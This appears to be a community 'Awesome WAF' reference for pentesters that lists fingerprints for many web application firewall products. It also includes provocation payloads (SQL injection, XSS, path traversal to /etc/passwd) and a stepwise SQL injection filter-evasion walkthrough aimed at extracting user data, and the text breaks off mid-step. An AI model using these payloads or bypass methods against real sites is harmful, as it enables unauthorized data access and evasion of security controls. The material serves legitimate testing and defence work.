Awesome WAF
Last updated
Last updated
Everything about web application firewalls (WAFs) from a security perspective. 🔥
Foreword: This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there.As the saying goes, "the community just learns from each other."
A Concise Definition: A firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. (Source: PCI DSS IS 6.6)
A web-application firewall sits between a user and a webapp and is tasked to prevent any malicious activity from reaching the webapp. A WAF either filters out the malicious part of the request or just simply blocks it.
Feel free to contribute.
Using a set of rules to distinguish between normal requests and malicious requests.
Sometimes they use a learning mode to add rules automatically through learning about user behaviour.
Negative Model (Blacklist based) - A blacklisting model uses pre-set signatures to block requests that are clearly malicious. The signatures of WAFs operating in a negative model are specifically crafted to prevent attacks which exploit certain web application vulnerabilities. Blacklisting model web application firewalls are a great choice for web applications exposed to the public internet and are highly effective against major vulnerabilities. Eg. Rule for blocking all <script>*</script> inputs prevent basic cross-site scripting attacks.
Positive Model (Whitelist based) - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking potential large scale attacks, but will also block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
Mixed/Hybrid Model (Inclusive model) - A hybrid security model blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet. A good scenario can be when web-application is facing the public internet (use blacklists) while the admin panel needs to be exposed to only a subset of users (use whitelists).
Always look out for common ports that expose that a WAF, namely 80, 443, 8000, 8080 and 8888 ports. However, its important to note that a WAF can be easily deployed on any port running a HTTP service. It is good to enumerate HTTP service ports first hand and then look for WAFs.
Some WAFs set their own cookies in requests (e.g. Citrix Netscaler, Yunsuo WAF).
Some associate themselves with separate headers (e.g. Anquanbao WAF, Amazon AWS WAF).
Some often alter headers and jumble characters to confuse attacker (e.g. Netscaler, Big-IP).
Some expose themselves in the Server header (e.g. Approach, WTS WAF).
Some WAFs expose themselves in the response content (e.g. DotDefender, Armor, Sitelock).
Other WAFs reply with unusual response codes upon malicious requests (e.g. WebKnight, 360 WAF).
To identify WAFs, we need to (dummy) provoke it.
Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
Make GET requests to random open ports and grab banners which might expose the WAFs identity.
On login pages, inject common (easily detectable) payloads like " or 1 = 1 --.
Inject noisy payloads like <script>alert()</script> into search bars, contact forms and other input fields.
Attach a dummy ../../../etc/passwd to a random parameter at end of URL.
Append some catchy keywords like ' OR SLEEP(5) OR ' at end of URLs to any random parameter.
Make GET requests with outdated protocols like HTTP/0.9 (HTTP/0.9 does not support POST type queries).
Many a times, the WAF varies the Server header upon different types of interactions.
Side Channel Attacks - Examine the timing behaviour of the request and response content.
Tip: More details can be found in a blogpost here.
Wanna fingerprint WAFs? Lets see how.
NOTE: This section contains manual WAF detection techniques. You might want to switch over to next section.
360
Detectability: Easy
Detection Methodology:
Returns status code 493 upon unusual requests.
Blockpage may contain reference to wzws-waf-cgi/ directory.
Blocked response page source may contain:
Reference to wangshan.360.cn URL.
Sorry! Your access has been intercepted because your links may threaten website security. text snippet.
Response headers may contain X-Powered-By-360WZB header.
Blocked response headers contain unique header WZWS-Ray.
Server header may contain value qianxin-waf.
aeSecure
Detectability: Moderate
Detection Methodology:
Blocked response content contains aesecure_denied.png image (view source to see).
Response headers contain aeSecure-code value.
Airlock
Detectability: Moderate/Difficult
Detection Methodology:
Set-Cookie headers may contain:
AL-SESS cookie field name (case insensitive).
AL-LB value (case insensitive).
Blocked response page contains:
Server detected a syntax error in your request text.
Check your request and all parameters text snippet.
AlertLogic
Detectability: Difficult
Detection Methodology:
Blocked response page contains:
We are sorry, but the page you are looking for cannot be found text snippet.
The page has either been removed, renamed or temporarily unavailable text.
404 Not Found in red letters.
Aliyundun
Detectability: Easy
Detection Methodology:
Blocked response page contains:
Sorry, your request has been blocked as it may cause potential threats to the server's security text snippet.
Reference to errors.aliyun.com site URL.
Blocked response code returned is 405.
Anquanbao
Detectability: Easy
Detection Methodology:
Returns blocked HTTP response code 405 upon malicious requests.
Blocked response content may contain /aqb_cc/error/ or hidden_intercept_time.
Response headers contain X-Powered-by-Anquanbao header field.
Anyu
Detectability: Easy
Detection Methodology:
Blocked response content contains Sorry! your access has been intercepted by AnYu
Blocked response page contains AnYu- the green channel text.
Response headers may contain unusual header WZWS-RAY.
Approach
Detectability: Easy
Detection Methodology:
Blocked response page content may contain:
Approach Web Application Firewall Framework heading.
Your IP address has been logged and this information could be used by authorities to track you. warning.
Sorry for the inconvenience! keyword.
Approach infrastructure team text snippet.
Server header has field value set to Approach.
Armor Defense
Detectability: Easy
Detection Methodology:
Blocked response content contains:
This request has been blocked by website protection from Armor text.
If you manage this domain please create an Armor support ticket snippet.
ArvanCloud
Detectability: Easy
Detection Methodology:
Server header contains ArvanCloud keyword.
ASPA
Detectability: Easy
Detection Methodology:
Server header contains ASPA-WAF keyword.
Response contain unique header ASPA-Cache-Status with content HIT or MISS.
ASP.NET Generic
Detectability: Moderate
Detection Methodology:
Response headers may contain X-ASPNET-Version header value.
Blocked response page content may contain:
This generic 403 error means that the authenticated user is not authorized to use the requested resource.
Error Code 0x00000000< keyword.
X-Powered-By header has field value set to ASP.NET.
Astra
Detectability: Easy
Detection Methodology:
Blocked response page content may contain:
Sorry, this is not allowed. in h1.
our website protection system has detected an issue with your IP address and wont let you proceed any further text snippet.
Reference to www.getastra.com/assets/images/ URL.
Response cookies has field value cz_astra_csrf_cookie in response headers.
AWS ELB
Detectability: Moderate
Detection Methodology:
Response headers might contain:
AWSALB cookie field value.
X-AMZ-ID header.
X-AMZ-REQUEST-ID header.
Response page may contain:
Access Denied in their keyword.
Request token ID with length from 20 to 25 between RequestId tag.
Server header field contains awselb/2.0 value.
Baidu Yunjiasu
Detectability: Moderate
Detection Methodology:
Server header may contain Yunjiasu-nginx value.
Server header may contain Yunjiasu value.
Barikode
Detectability: Easy
Detection Methodology:
Blocked response page content contains:
BARIKODE keyword.
Forbidden Access text snippet in h1.
Barracuda
Detectability: Moderate
Detection Methodology:
Response cookies may contain barra_counter_session value.
Response headers may contain barracuda_ keyword.
Response page contains:
You have been blocked heading.
You are unable to access this website text.
Bekchy
Detectability: Easy
Detection Methodology:
Blocked response headers contains Bekchy - Access Denied.
Blocked response page contains reference to https://bekchy.com/report.
BinarySec
Detectability: Moderate
Detection Methodology:
Response headers contain:
X-BinarySec-Via field.
X-BinarySec-NoCache field.
Server header contains BinarySec keyword.
BitNinja
Detectability: Easy
Detection Methodology:
Blocked response page may contain:
Security check by BitNinja text snippet.
your IP will be removed from BitNinja.
Visitor anti-robot validation text snippet.
(You will be challenged by a reCAPTCHA page) text.
BIG-IP ASM
Detectability: Moderate
Detection Methodology:
Response headers may contain BigIP or F5 keyword value.
Response header fields may contain X-WA-Info header.
Response headers might have jumbled X-Cnection field value.
BlockDos
Detectability: Moderate
Detection Methodology:
Server header contains value BlockDos.net.
Bluedon IST
Detectability: Easy
Detection Methodology:
Server header contains BDWAF field value.
Blocked response page contains to Bluedon Web Application Firewall text snippet..
BulletProof Security Pro
Detectability: Moderate
Detection Methodology:
Blocked response page contains:
div with id as bpsMessage text snippet.
If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page. text snippet.
CDN NS Application Gateway
Detectability: Easy
Detection Methodology:
Blocked response page contains CdnNsWAF Application Gateway text snippet.
Cerber (WordPress)
Detectability: Difficult
Detection Methodology:
Blocked response page contains:
We're sorry, you are not allowed to proceed text snippet.
Your request looks suspicious or similar to automated requests from spam posting software warning.
Chaitin Safeline
Detectability: Difficult
Detection Methodology:
Blocked response page contains event_id keyword within HTML comments.
ChinaCache
Detectability: Easy
Detection Methodology:
Response headers contain Powered-by-ChinaCache field.
Cisco ACE XML Gateway
Detectability: Moderate
Detection Methodology:
Server header has value ACE XML Gateway set.
Cloudbric
Detectability: Moderate
Detection Methodology:
Response content contains:
Malicious Code Detected heading.
Your request was blocked by Cloudbric text snippet.
Reference to https://cloudbric.zendesk.com URL.
Cloudbric Help Center text.
Page title starting with Cloudbric | ERROR!.
Cloudflare
Detectability: Easy
Detection Methodology:
Response headers might have cf-ray field value.
Server header field has value cloudflare.
Set-Cookie response headers have __cfuid= cookie field.
Page content might have Attention Required! or Cloudflare Ray ID:.
Page content may contain DDoS protection by Cloudflareas text.
You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs.
CloudfloorDNS
Detectability: Easy
Detection Methodology:
Server header field has value CloudfloorDNS WAF.
Block-page title might have CloudfloorDNS - Web Application Firewall Error.
Page content may contain www.cloudfloordns.com/contact URL as a contact link.
Cloudfront
Detectability: Easy
Detection Methodology:
Blocked response content contains Generated by cloudfront (CloudFront) error upon malicious request.
Comodo cWatch
Detectability: Easy
Detection Methodology:
Server header contains Protected by COMODO WAF value.
CrawlProtect
Detectability: Easy
Detection Methodology:
Response cookies might contain crawlprotect cookie name.
Block Page title has CrawlProtect keyword in it.
Blocked response content contains value
This site is protected by CrawlProtect !!! upon malicious request.
Deny-All
Detectability: Difficult
Detection Methodology:
Response content contains value Condition Intercepted.
Set-Cookie header contains cookie field sessioncookie.
Distil Web Protection
Detectability: Easy
Detection Methodology:
Response headers contain field value X-Distil-CS in all requests.
Blocked response page contains:
Pardon Our Interruption... heading.
You have disabled javascript in your browser. text snippet.
Something about your browser made us think that you are a bot. text.
DoSArrest Internet Security
Detectability: Easy
Detection Methodology:
Response headers contain field value X-DIS-Request-ID.
Server header contains DOSarrest keyword.
DotDefender
Detectability: Easy
Detection Methodology:
Blocked response content contains value
dotDefender Blocked Your Request.
Blocked response headers contain X-dotDefender-denied field value.
DynamicWeb Injection Check
Detectability: Easy
Detection Methodology:
Blocked response headers contain X-403-Status-By field with value dw-inj-check value.
e3Learning Security
Detectability: Easy
Detection Methodology:
Server header contains e3Learning_WAF keyword.
EdgeCast (Verizon)
Detectability: Easy
Detection Methodology:
Blocked response content contains value
Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).
Blocked response code returns 400 Bad Request on malicious requests.
Eisoo Cloud
Detectability: Easy
Detection Methodology:
Blocked response page content may contain:
/eisoo-firewall-block.css reference.
www.eisoo.com URL.
© (year) Eisoo Inc. keyword.
Server header has field value set to EisooWAF-AZURE/EisooWAF.
Expression Engine
Detectability: Difficult
Detection Methodology:
Blocked response page returns Invalid URI generally.
Blocked response content contains value Invalid GET Request upon malicious GET queries.
Blocked POST type queries contain Invalid Data in response content.
F5 ASM
Detectability: Difficult
Detection Methodology:
Blocked response content contains warning
The requested URL was rejected. Please consult with your administrator.
FortiWeb
Detectability: Moderate
Detection Methodology:
Response headers contain FORTIWAFSID= on malicious requests.
Blocked response page contains:
Reference to .fgd_icon image icon.
Server Unavailable! as heading.
Server unavailable. Please visit later. as text.
GoDaddy
Detectability: Easy
Detection Methodology:
Blocked response page contains value
Access Denied - GoDaddy Website Firewall.
GreyWizard
Detectability: Easy
Detection Methodology:
Blocked response page contains:
Grey Wizard as title.
Contact the website owner or Grey Wizard text snippet.
We've detected attempted attack or non standard traffic from your IP address text snippet.
Server header contain greywizard keyword.
Huawei Cloud
Detectability: Easy
Detection Methodology:
Blocked response page contains:
Reference to account.hwclouds.com/static/error/images/404img.jpg error image.
Reference to www.hwclouds.com URL.
Reference to hws_security@{site.tld} e-mail for reporting.
HyperGuard
Detectability: Difficult
Detection Methodology:
Set-Cookie header has cookie field ODSESSION= in response headers.
IBM DataPower
Detectability: Difficult
Detection Methodology:
Response headers contains field value value X-Backside-Transport with value OK or FAIL.
Imperva Incapsula
Detectability: Easy
Detection Methodology:
Blocked response page content may contain:
Powered By Incapsula text snippet.
Incapsula incident ID keyword.
_Incapsula_Resource keyword.
subject=WAF Block Page keyword.
Normal GET request headers contain visid_incap value.
Response headers may contain X-Iinfo header field name.
Set-Cookie header has cookie field incap_ses and visid_incap.
Imunify360
Detectability: Easy
Detection Methodology:
Server header contain imunify360-webshield keyword.
Response page contains:
Powered by Imunify360 text snippet.
imunify360 preloader if response type is JSON.
Blocked response page contains protected by Imunify360 text.
IndusGuard
Detectability: Moderate
Detection Methodology:
Server header contains value IF_WAF.
Blocked response content contains warning
further investigation and remediation with a screenshot of this page.
Response headers contain a unique header X-Version.
Instart DX
Detectability: Easy
Detection Methodology:
Response headers contain X-Instart-Request-ID unique header.
Response headers contain X-Instart-WL unique header fingerprint.
Response headers contain X-Instart-Cache unique header fingerprint.
Blocked response page contains The requested URL was rejected. Please consult with your administrator. text.
ISA Server
Detectability: Difficult
Detection Methodology:
Response page contains:
The ISA Server denied the specified Uniform Resource Locator (URL) text snippet.
The server denied the specified Uniform Resource Locator (URL). Contact the server administrator. text snippet
Janusec Application Gateway
Detectability: Easy
Detection Methodology:
Blocked response page has image displaying JANUSEC name and logo.
Blocked response page displays Janusec Application Gateway on malicious requests.
Jiasule
Detectability: Easy
Detection Methodology:
Blocked response page contains reference to static.jiasule.com/static/js/http_error.js URL.
Set-Cookie header has cookie field __jsluid= or jsl_trackingin response headers.
Server header has jiasule-WAF keywords.
Blocked response content has notice-jiasule keyword.
KeyCDN
Detectability: Easy
Detection Methodology:
Server header contains KeyCDN keyword.
KnownSec
Detectability: Easy
Detection Methodology:
Blocked response page displays ks-waf-error.png image (view source to see).
KONA Site Defender (Akamai)
Detectability: Easy
Detection Methodology:
Server header contains AkamaiGHost keyword.
LiteSpeed
Detectability: Easy
Detection Methodology:
Server header has value set to LiteSpeed.
Response page contains:
Proudly powered by LiteSpeed Web Server text.
Reference to http://www.litespeedtech.com/error-page
Access to resource on this server is denied.
Malcare
Detectability: Moderate
Detection Methodology:
Blocked response page may contains:
Blocked because of Malicious Activities text snippet.
Firewall powered by MalCare text snippet.
MissionControl Application Shield
Detectability: Easy
Detection Methodology:
Server header field contains Mission Control Application Shield value.
ModSecurity
Detectability: Moderate/Difficult
Detection Methodology:
Blocked response page contains:
This error was generated by Mod_Security text snippet.
One or more things in your request were suspicious text snippet.
rules of the mod_security module text snippet.
mod_security rules triggered text snippet.
Reference to /modsecurity-errorpage/ directory.
Server header may contain Mod_Security or NYOB keywords.
Sometimes, the response code to an attack is 403 while the response phrase is ModSecurity Action.
ModSecurity CRS
Detectability: Difficult
Detection Methodology:
Blockpage occurs on adding a separate request header X-Scanner when set to a particular paranoa level.
NAXSI
Detectability: Easy
Detection Methodology:
Blocked response page contains This Request Has Been Blocked By NAXSI.
Response headers contain unusual field X-Data-Origin with value naxsi/waf keyword.
Server header contains naxsi/waf keyword value.
Blocked response page may contain NAXSI blocked information error code.
Nemesida
Detectability: Difficult
Detection Methodology:
Blocked response page contains Suspicious activity detected. Access to the site is blocked..
Contains reference to email nwaf@{site.tld}
Netcontinuum
Detectability: Moderate
Detection Methodology:
Session cookies contain NCI__SessionId= cookie field name.
NetScaler AppFirewall
Detectability: Moderate
Detection Methodology:
Response headers may contain
Connection: header field name jumbled to nnCoection:
ns_af= cookie field name.
citrix_ns_id field name.
NSC_ keyword.
NS-CACHE field value.
NevisProxy
Detectability: Moderate
Detection Methodology:
Response header cookies contain Navajo keyword.
NewDefend
Detectability: Easy
Detection Methodology:
Response page contains:
Reference to http://www.newdefend.com/feedback/misinformation/ URL.
Reference to /nd_block/ directory.
Server header contains NewDefend keyword.
Nexusguard
Detectability: Easy
Detection Methodology:
Blocked response page has reference to speresources.nexusguard.com/wafpage/index.html URL.
NinjaFirewall
Detectability: Moderate
Detection Methodology:
Response page title contains NinjaFirewall: 403 Forbidden.
Response page contains:
For security reasons, it was blocked and logged text snippet.
NinjaFirewall keyword in title.
Returns a 403 Forbidden response upon malicious requests.
NSFocus
Detectability: Easy
Detection Methodology:
Server header contain NSFocus keyword.
NullDDoS
Detectability: Easy
Detection Methodology:
Server header contains the NullDDoS System keyword.
onMessage Shield
Detectability: Easy
Detection Methodology:
Response headers contain header X-Engine field with value onMessage Shield.
Blocked response page contains:
Blackbaud K-12 conducts routine maintenance keyword.
This site is protected by an enhanced security system.
Reference to https://status.blackbaud.com URL.
Reference to https://maintenance.blackbaud.com URL.
OpenResty Lua WAF
Detectability: Easy
Detection Methodology:
Server header contains openresty/{version} keyword.
Blocked response page contains openresty/{version} text.
Blocked response code returned is 406 Not Acceptable.
Palo Alto
Detectability: Moderate
Detection Methodology:
Blocked response page contains Virus/Spyware Download Blocked.
Response page might contain Palo Alto Next Generation Security Platform text snippet.
PentaWAF
Detectability: Easy
Detection Methodology:
Server header contains PentaWAF/{version} keyword.
Blocked response page contains text PentaWAF/{version}.
PerimeterX
Detectability: Easy
Detection Methodology:
Blocked response page contains reference to
https://www.perimeterx.com/whywasiblocked URL.
pkSecurityModule IDS
Detectability: Moderate
Detection Methodology:
Response content may contain
pkSecurityModule: Security.Alert.
A safety critical request was discovered and blocked text snippet.
Positive Technologies Application Firewall
Detectability: Difficult
Detection Methodology:
Blocked response page contains Forbidden in h1 followed by:
Request ID: in format yyyy-mm-dd-hh-mm-ss-{ref. code}
PowerCDN
Detectability: Moderate
Detection Methodology:
Response headers may contain
Via header with content powercdn.com.
X-Cache header with content powercdn.com.
X-CDN header with content PowerCDN.
Profense
Detectability: Easy
Detection Methodology:
Set-Cookie headers contain PLBSID= cookie field name.
Server header contain Profense keyword.
Proventia (IBM)
Detectability: Difficult
Detection Methodology:
Blocked response page might contain to request does not match Proventia rules text snippet.
Puhui
Detectability: Easy
Detection Methodology:
Server header contain PuhuiWAF keyword.
Qiniu CDN
Detectability: Easy
Detection Methodology:
Response content may contain
Response headers contain unusual header X-Qiniu-CDN with value set to either 0 or 1.
Radware Appwall
Detectability: Moderate
Detection Methodology:
Response page contains the following text snippet:
Unauthorized Activity Has Been Detected. and Case Number
Blocked response page has reference to radwarealerting@{site.tld} email.
Blocked response page has title set to Unauthorized Request Blocked.
Response headers may contain X-SL-CompState header field name.
Reblaze
Detectability: Moderate
Detection Methodology:
Cookies in response headers contain rbzid= header field name.
Server field value might contain Reblaze Secure Web Gateway text snippet.
Response page contains:
Access Denied (403) in bold.
Current session has been terminated text.
For further information, do not hesitate to contact us.
Request Validation Mode
Detectability: Easy
Detection Methodology:
A firewall found specifically on ASP.NET websites and none others.
Response page contains either of the following text snippet:
ASP.NET has detected data in the request that is potentially dangerous.
Request Validation has detected a potentially dangerous client input value.
HttpRequestValidationException.
Blocked response code returned is always 500 Internal Error.
RSFirewall
Detectability: Easy
Detection Methodology:
Response page contains:
COM_RSFIREWALL_403_FORBIDDEN keyword.
COM_RSFIREWALL_EVENT keyword.
Sabre
Detectability: Easy
Detection Methodology:
Returns status code 500 Internal Error upon malicious requests.
Response content has:
Contact email dxsupport@sabre.com.
Your request has been blocked bold warning.
clicking the above email link will automatically add some important details to the email for us to investigate the problem text snippet.
Safe3
Detectability: Easy
Detection Methodology:
Response headers contain:
X-Powered-By header has field value Safe3WAF.
Server header contains field value set to Safe3 Web Firewall.
Response page contains Safe3waf keyword.
SafeDog
Detectability: Easy/Moderate
Detection Methodology:
Server header in response may contain:
WAF/2.0 keyword.
safedog field value.
SecKing
Detectability: Easy/Moderate
Detection Methodology:
Server header in response may contain:
SECKINGWAF keyword.
SECKING/{version} field value.
SecuPress
Detectability: Easy
Detection Methodology:
Response content may contain:
SecuPress as text.
Block ID: Bad URL Contents as text.
Response code returned is 503 Service Unavailable.
Secure Entry
Detectability: Easy
Detection Methodology:
Server header contains value set to Secure Entry Server.
SecureIIS
Detectability: Easy
Detection Methodology:
Response page contains either of the following text snippet:
Image displaying beyondtrust logo.
Download SecureIIS Personal Edition
Reference to http://www.eeye.com/SecureIIS/ URL.
SecureIIS Error text snippet.
SecureSphere
Detectability: Difficult
Detection Methodology:
Response page contains the following text snippet:
Error in h2 text.
Title contains only text as Error.
Contact support for additional information. text.
SEnginx
Detectability: Easy
Detection Methodology:
Blocked response page contains SENGINX-ROBOT-MITIGATION keyword.
ServerDefender VP
Detectability: Easy
Detection Methodology:
Blocked response contains X-Pint header field with p80 keyword.
Shadow Daemon
Detectability: Difficult
Detection Methodology:
Blocked response page contains request forbidden by administrative rules. keyword.
ShieldSecurity
Detectability: Difficult
Detection Methodology:
Blocked response page contains:
You were blocked by the Shield. text.
Something in the URL, Form or Cookie data wasn't appropriate text snippet.
Warning: You have {number} remaining transgression(s) against this site.
Seriously stop repeating what you are doing or you will be locked out.
SiteGround
Detectability: Difficult
Detection Methodology:
Blocked response page contains
The page you are trying to access is restricted due to a security rule text snippet.
SiteGuard (JP Secure)
Detectability: Difficult
Detection Methodology:
Response page contains:
Powered by SiteGuard text snippet.
The server refuse to browse the page. text snippet.
The URL may not be correct. Please confirm the value.
SiteLock TrueShield
Detectability: Easy
Detection Methodology:
Blocked response page source contains the following:
Reference to www.sitelock.com URL.
Sitelock is leader in Business Website Security Services. text.
sitelock-site-verification keyword.
sitelock_shield_logo image.
SonicWall
Detectability: Easy
Detection Methodology:
Server header contain SonicWALL keyword value.
Blocked response page contains either of the following text snippet:
Image displaying Dell logo.
This request is blocked by the SonicWALL.
Web Site Blocked text snippet.
nsa_banner as keyword. :p
Sophos UTM
Detectability: Easy
Detection Methodology:
Blocked response page contains Powered by UTM Web Protection keyword.
SquareSpace
Detectability: Difficult
Detection Methodology:
Response code returned is 404 Not Found upon malicious requests.
Blocked response page contains either of the following text snippet:
BRICK-50 keyword.
404 Not Found text snippet.
SquidProxy IDS
Detectability: Easy
Detection Methodology:
Server header contains field value squid/{version}.
Blocked response page contains
Access control configuration prevents your request from being allowed at this time..
StackPath
Detectability: Easy
Detection Methodology:
Contains image displaying StackPath logo.
Blocked response page contains
You performed an action that triggered the service and blocked your request.
Stingray
Detectability: Difficult
Detection Methodology:
Blocked response code returns 403 Forbidden or 500 Internal Error.
Response headers contain the X-Mapping header field name.
Sucuri CloudProxy
Detectability: Easy
Detection Methodology:
Response headers may contain Sucuri or Cloudproxy keywords.
Blocked response page contains the following text snippet:
Access Denied - Sucuri Website Firewall text.
Reference to https://sucuri.net/privacy-policy URL.
Sometimes the email cloudproxy@sucuri.net.
Contains copyright notice ;copy {year} Sucuri Inc.
Response headers contains X-Sucuri-ID header along with normal requests.
Synology Cloud
Detectability: Easy
Detection Methodology:
Blocked response page has Copyright (c) 2019 Synology Inc. All rights reserved.as text.
Tencent Cloud
Detectability: Moderate
Detection Methodology:
Blocked response code returns 405 Method Not Allowed error.
Blocked response page contains reference to waf.tencent-cloud.com URL.
Teros
Detectability: Difficult
Detection Methodology:
Response headers contain cookie field st8id.
TrafficShield
Detectability: Moderate
Detection Methodology:
Server might contain F5-TrafficShield keyword.
ASINFO= value might be detected in response cookies.
TransIP
Detectability: Easy
Detection Methodology:
Response headers contain unique header X-TransIP-Backend.
Response headers contain another header X-TransIP-Balancer.
UCloud UEWaf
Detectability: Easy
Detection Methodology:
Response content might contain:
Reference to /uewaf_deny_pages/default/img/ inurl directory.
ucloud.cn URL.
Response headers returned has Server header set to uewaf/{version}.
URLMaster SecurityCheck
Detectability: Moderate
Detection Methodology:
Response headers might contain:
UrlMaster keyword.
UrlRewriteModule keyword.
SecurityCheck keyword.
Blocked response code returned is 400 Bad Request text snippet.
URLScan
Detectability: Moderate
Detection Methodology:
Blocked response page contains:
Rejected-by-URLScan text snippet.
Server Erro in Application as heading.
Module: IIS Web Core in table.
USP Secure Entry
Detectability: Moderate
Detection Methodology:
Response headers contain Secure Entry Server field value.
Varnish (OWASP)
Detectability: Easy
Detection Methodology:
Malicious request returns 404 Not Found Error.
Response page contains:
Request rejected by xVarnish-WAF text snippet.
Varnish CacheWall
Detectability: Easy
Detection Methodology:
Response page contains:
Error 403 Naughty, not Nice! as heading.
Varnish cache Server as text.
Viettel
Detectability: Easy
Detection Methodology:
Response page contains:
Block page has title set to Access denied · Viettel WAF.
Reference to https://cloudrity.com.vn/ URL.
Response page contains keywords Viettel WAF system.
Contact information reference to https://cloudrity.com.vn/customer/#/contact URL.
VirusDie
Detectability: Easy
Detection Methodology:
Response page contains:
http://cdn.virusdie.ru/splash/firewallstop.png picture.
copy; Virusdie.rucopyright notice.
Response page title contains Virusdie keyword.
Page metadata contains name="FW_BLOCK" keyword
WallArm
Detectability: Moderate
Detection Methodology:
Server headers contain nginx-wallarm value.
WatchGuard IPS
Detectability: Easy
Detection Methodology:
Server headers may contain WatchGuard field value.
Blocked response page contains:
Request denied by WatchGuard Firewall text.
WatchGuard Technologies Inc. as footer.
WebARX Security
Detectability: Easy
Detection Methodology:
Restricted to specifically WordPress sites only.
Blocked response page contains:
This request has been blocked by WebARX Web Application Firewall text.
Reference to /wp-content/plugins/webarx/ directory where it is installed.
WebKnight
Detectability: Easy
Detection Methodology:
Response headers contain WebKnight keyword.
Blocked response page contains:
WebKnight Application Firewall Alert text warning.
AQTRONIX WebKnight text snippet.
Blocked response code returned is 999 No Hacking. :p
Blocked response code returned is also 404 Hack Not Found. :p
WebLand
Detectability: Easy
Detection Methodology:
Server header contains Apache Protected By WebLand WAF keyword.
WebRay
Detectability: Easy
Detection Methodology:
Server header contains WebRay-WAF keyword.
Response headers may have DrivedBy field with value RaySrv RayEng/{version}.
WebSEAL
Detectability: Easy
Detection Methodology:
Server header contain WebSEAL keyword.
Blocked response page contains:
This is a WebSEAL error message template file text.
WebSEAL server received an invalid HTTP request text snippet.
WebTotem
Detectability: Easy
Detection Methodology:
Blocked response page contains The current request was blocked by WebTotem.
West263CDN
Detectability: Easy
Detection Methodology:
Response headers contain X-Cache header field with WT263CDN value.
Wordfence
Detectability: Easy
Detection Methodology:
Response headers contain WebKnight keyword.
Blocked response page contains:
Generated by Wordfence text snippet.
A potentially unsafe operation has been detected in your request to this site text warning.
Your access to this site has been limited text warning.
This response was generated by Wordfence text snippet.
WTS-WAF
Detectability: Easy
Detection Methodology:
Blocked response page title has WTS-WAF keyword.
Server header contains wts as value.
XLabs Security WAF
Detectability: Easy
Detection Methodology:
Response headers contain X-CDN header field with XLabs Security value.
Xuanwudun WAF
Detectability: Easy
Detection Methodology:
Blocked response page contains reference to http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/ site URL.
Yunaq Chuangyu
Detectability: Moderate
Detection Methodology:
Response page has reference to:
365cyd.com or 365cyd.net URL.
Reference to help page at http://help.365cyd.com/cyd-error-help.html?code=403.
Yundun
Detectability: Easy
Detection Methodology:
Server header contains YUNDUN as value.
X-Cache header field contains YUNDUN as value.
Response page contains Blocked by YUNDUN Cloud WAF text snippet.
Blocked response page contains reference to yundun.com/yd_http_error/ URL.
Yunsuo
Detectability: Easy
Detection Methodology:
Blocked response page contains image class reference to yunsuologo.
Response headers contain the yunsuo_session field name.
YxLink
Detectability: Easy
Detection Methodology:
Response might have yx_ci_session cookie field.
Response might have yx_language cookie field.
Server header contains Yxlink-WAF field value.
ZenEdge
Detectability: Easy
Detection Methodology:
Blocked response page contains reference to /__zenedge/assets/ directory.
Server header contain ZENEDGE keyword.
Blocked response headers may contain X-Zen-Fury header.
ZScaler
Detectability: Easy
Detection Methodology:
Server header has value set to ZScaler.
Blocked response page contains:
Access Denied: Accenture Policy text.
Reference to https://policies.accenture.com URL.
Reference to image at https://login.zscloud.net/img_logo_new1.png.
Your organization has selected Zscaler to protect you from internet threats.
The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.
Lets look at some methods of bypassing and evading WAFs.
Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
Wordlists specifically for fuzzing
Load up your wordlist into fuzzer and start the bruteforce.
Record/log all responses from the different payloads fuzzed.
Use random user-agents, ranging from Chrome Desktop to iPhone browser.
If blocking noticed, increase fuzz latency (eg. 2-4 secs).
Always use proxychains, since chances are real that your IP gets blocked.
This method often fails.
Many a times your IP will be blocked (temporarily/permanently).
Most efficient method of bypassing WAFs.
Some WAFs rely upon matching the attack payloads with the signatures in their databases.
Payload matches the reg-ex the WAF triggers alarm.
In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted.
The idea is to guess the regex and craft the next payloads which doesn't use the blacklisted keywords.
Case: SQL Injection
• Step 1:
Keywords Filtered: and, or, union
Probable Regex: preg_match('/(and|or|union)/i', $id)
Blocked Attempt: union select user, password from users
Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'
• Step 2:
Keywords Filtered: and, or, union, where
Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed Injection: 1 || (select user from users limit 1) = 'admin'
• Step 3:
Keywords Filtered: and, or, union, where, limit
Blocked Attempt: 1 || (select user from users limit 1) = 'admin'
Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Step 4:
Keywords Filtered: and, or, union, where, limit, group by
Blocked Attempt: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed Injection: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
• Step 5:
Keywords Filtered: and, or, union, where, limit, group by, select
Blocked Attempt: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed Injection: 1 || 1 = 1 into outfile 'result.txt'
Bypassed Injection: 1 || substr(user,1,1) = 'a'
• Step 6:
Keywords Filtered: and, or, union, where, limit, group by, select, '
Blocked Attempt: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed Injection: 1 || user_id is not null
Bypassed Injection: 1 || substr(user,1,1) = 0x61
Bypassed Injection: 1 || substr(user,1,1) = unhex(61)
• Step 7:
Keywords Filtered: and, or, union, where, limit, group by, select, ', hex
Blocked Attempt: 1 || substr(user,1,1) = unhex(61)
